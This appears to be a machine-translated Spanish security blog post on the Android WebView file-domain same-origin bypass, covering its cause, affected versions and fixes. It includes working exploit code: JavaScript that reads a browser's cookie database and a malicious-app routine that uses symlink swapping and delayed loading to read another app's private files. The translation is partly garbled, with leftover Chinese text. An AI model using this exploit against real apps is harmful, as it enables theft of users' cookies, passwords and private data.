Detección de seguridad de Android: vulnerabilidad de omisión de la política del mismo origen del dominio de archivo WebView

En este capítulo, aprenderemos sobre la "vulnerabilidad de omisión de la política del mismo origen del dominio de archivo WebView".

1. Principio de vulnerabilidad

La ejecución retrasada de JavaScript puede pasar por alto la verificación del mismo origen del protocolo de archivo y puede acceder a todos los archivos privados de la aplicación de la víctima, es decir, la ejecución retrasada de Javascript a través de WebView y la eliminación del archivo Html actual y el enlace suave. apuntando a otros archivos se puede leer Se obtiene el archivo al que apunta el enlace simbólico, y luego se vuelve a leer el archivo HTML a través de JavaScript, de modo que se puede obtener el archivo al que apunta el enlace simbólico. La mayoría de las aplicaciones que usan WebView se verán afectadas por esta vulnerabilidad. Las aplicaciones malintencionadas pueden robar archivos privados de aplicaciones sin permisos especiales a través de esta vulnerabilidad, especialmente los navegadores. Al explotar esta vulnerabilidad, pueden obtener información confidencial como contraseñas, cookies, favoritos y registros históricos, lo que resulta en la fuga de información confidencial.
De hecho, el punto más importante es que 通过符号链接和延时加载来产生此漏洞. De hecho, esta vulnerabilidad no solo se puede generar a través de enlaces simbólicos, existen dos formas de generar esta vulnerabilidad.

a. A través de dominios cruzados de archivos: lectura directa (acceso) a archivos locales para generar esta vulnerabilidad
b. Omisión de la verificación del mismo origen del protocolo de archivo: enlaces simbólicos y carga retrasada para generar esta vulnerabilidad.

Dos, conocimiento relacionado con WebView

1. Permitir que WebView acceda a archivos html locales: el WebView.setAllowFileAccess(boolean allow)método principal es controlar WebViewsi puede acceder a archivos html locales

2. Permita que el html cargado por WebView use código JS: use WebView.getSettings().setJavaScriptEnabled(boolean enable)el método para controlar si permite el uso de código JS

3. Permita que el código JS cargado por WebView acceda a los archivos locales: use WebView.getSettings().setAllowFileAccessFromFileURLs(boolean allow)o WebView.getSettings().setAllowUniversalAccessFromFileURLs(boolean allow)para controlar si JS puede usar el dominio de archivos para acceder a los archivos locales, 在Android4.0(API15)及以下默认为true,在Android4.0(API15)以上默认为false. Una cosa a tener en cuenta es que no hay métodos setAllowFileAccessFromFileURLs y setAllowUniversalAccessFromFileURLs en Android 4.0 y versiones anteriores

注:
1. setAllowFileAccessFromFileURLs:设置是否允许通过file url加载的Javascript读取其他的本地文件
2. setAllowUniversalAccessFromFileURLs:设置是否允许通过file url加载的Javascript可以访问其他的源,包括其他的文件和http,https等其他的源。此API比setAllowFileAccessFromFileURLs多了一个跨域访问http和https等链接

Tres, varias situaciones de lagunas

El escenario de uso general de esta vulnerabilidad es: APPtiene WebView(función de navegador), y el componente WebViewdonde se encuentra Activitytiene exposición de componente (exportación de componente android:exported=true), y recibe un URLenlace de entrada externo, sin verificación URL, WebViewse carga directamente y finalmente WebViewallí . son las siguientes situaciones de cualquier tipo.

1. A través de archivos entre dominios: lea (acceda) directamente a los archivos locales para generar esta vulnerabilidad
(1). Configure WebView para permitir el uso de código JS: WebView.getSettings().setJavaScriptEnabled(true)
(2). Configure WebView para permitir el acceso a archivos html locales: WebView.setAllowFileAccess(true)
(3) Configúrelo para permitir que WebView cargue código JS para acceder a archivos locales: WebView.getSettings().setAllowFileAccessFromFileURLs(true)oWebView.getSettings().setAllowUniversalAccessFromFileURLs(true)

#恶意APP的HTML代码
<html>
<body></body>
<script>
function loadDatabase()
{
      
      
    var file_url = "file:///data/data/com.xxx.browser/databases/webviewCookies.db";
    var xmlhttp =new XMLHttpRequest();
    xmlhttp.onload=function() {
      
      
 		document.body.appendChild(d.createTextNode(xmlhttp.responseText))
    	alert(xmlhttp.responseText);
    }
    xmlhttp.open("GET",file_url);
    xmlhttp.send(null);
}
loadDatabase();
</script>
</html>
#被攻击的APP,有漏洞的代码
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);  #允许加载File域
webView.getSettings().setAllowFileAccessFromFileURLs(true); 
//或webView.getSettings().setAllowUniversalAccessFromFileURLs(true); 

Intent i = getIntent();
if (i != null) {
    
    
     mUri = i.getData(); #取出了恶意HTML
}
if (mUri != null) {
    
    
    url = mUri.toString();
}
if (url != null) {
    
    
    webView.loadUrl(url); #加载了恶意HTML
}

2. Esta vulnerabilidad se genera al pasar por alto la verificación del mismo origen del protocolo de archivo: enlaces simbólicos y carga retrasada
(1). Configure WebView para permitir el uso de código JS: WebView.getSettings().setJavaScriptEnabled(true)
(2). Configure WebView para permitir el acceso a archivos html locales :WebView.setAllowFileAccess(true)

setAllowFileAccessFromFileURLsmétodo y setAllowUniversalAccessFromFileURLsen este caso establecido en false. De hecho, no importa cómo restrinja la verificación del mismo origen del protocolo de archivo, su javascript debería poder acceder al archivo actual. Al retrasar la ejecución de javascript y reemplazar el archivo actual con un enlace suave que apunta a otro archivo, usted puede leer el archivo al que apunta el enlace simbólico.document.

#恶意APP的HTML,被检测APP加载此html,执行JS代码
<html>
<body></body>
<script>
var d = document;
function loadDatabase()
{
      
      
    var file_url = d.URL;
    var xmlhttp =new XMLHttpRequest();
    xmlhttp.onload=function() {
      
      
 		document.body.appendChild(d.createTextNode(xmlhttp.responseText))
    	alert(xmlhttp.responseText);
    }
    xmlhttp.open("GET",file_url);
    xmlhttp.send(null);
}
setTimeout(loadDatabase(),8000); #延迟8秒执行。利用时间差和软链接来获取被攻击APP的私有文件
</script>
</html>
#恶意APP的攻击代码
  try {
    
     
  		String HTML = "恶意APP的HTML,在上面的HTML代码";
  		#新建文件夹,用于存放恶意HTML文件
       	cmdexec("mkdir /data/data/mm.xxxxx.testdemo3/files");
       	#将恶意HTML到恶意APP的沙盒目录
        cmdexec("echo \"" + HTML + "\" >  /data/data/mm.xxxxx.testdemo3/files/attack.html");
        #授权目录及其文件权限,允许其它应用访问
        cmdexec("chmod -R 777 /data/data/mm.xxxxx.testdemo3/files");
        Thread.sleep(1000);
        #启动被攻击的APP,并携带恶意HTML
        invokeVulnAPP("file://" + HTML_PATH);
        #延时6Thread.sleep(6000);
        #删除HTML文件
        cmdexec("rm " + HTML_PATH);
        #软链接文件,实现读取被攻击应用的private.txt文件
        cmdexec("ln -s " + "/data/data/mm.xxxxx.testdemo3/files/private.txt" + " " + HTML_PATH);
  } catch (Exception e) {
    
    
      // TODO: handle exception
  }
#被攻击的APP,有漏洞的代码
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);  允许加载FileIntent i = getIntent();
if (i != null) {
    
    
     mUri = i.getData(); #取出了恶意HTML
}
if (mUri != null) {
    
    
    url = mUri.toString();
}
if (url != null) {
    
    
    webView.loadUrl(url); #加载了恶意HTML
}

4. POC

No hay un POC detallado aquí. Muchos artículos en Internet tienen estos ejemplos. La prueba principal que hago es 符号链接和延时加载产生的漏洞afectar esas versiones.
El emulador nativo de Android se usa aquí para realizar pruebas, lo cual es relativamente aproximado y es solo para referencia. ( 在国产的部分定制ROM中有修复此漏洞)

La versión probada aquí es de Android4.2(API17)a Android7.0(API24), el resultado muestra que Android7.0esta vulnerabilidad ha sido corregida en la versión ( Android7.0修复此漏洞仅为猜测,不过从实际的运行来看确实没达到攻击的效果。估计是Android7.0引入了FileProvider所导致的,测试的代码最后也兼容了FileProvider), por lo que la vulnerabilidad afecta alrededor de 小于Android7.0(API24). Pero no se descarta Android6.0que haya correcciones en la versión menor anterior.

inserte la descripción de la imagen aquí

5. Método de detección

No los enumeraré en detalle, pero el proceso de generación de la vulnerabilidad se explica en varias situaciones , así que verifíquelo en consecuencia.

6. Método de reparación

1. El setAllowFileAccessmétodo de configuración es false, set setAllowFileAccessFromFileURLsy setAllowUniversalAccessFromFileURLsas false.
2. Android4.0(API15)Se deben usar otros métodos para verificar manualmente si se accede al dominio del archivo
3. Cuando WebViewhay Activityexposición de componentes, si no es necesaria para la exposición de componentes, se debe prohibir la exposición de componentes


asjhan for Android reverse

Supongo que te gusta

Origin blog.csdn.net/qq_35993502/article/details/121371049
Recomendado
Clasificación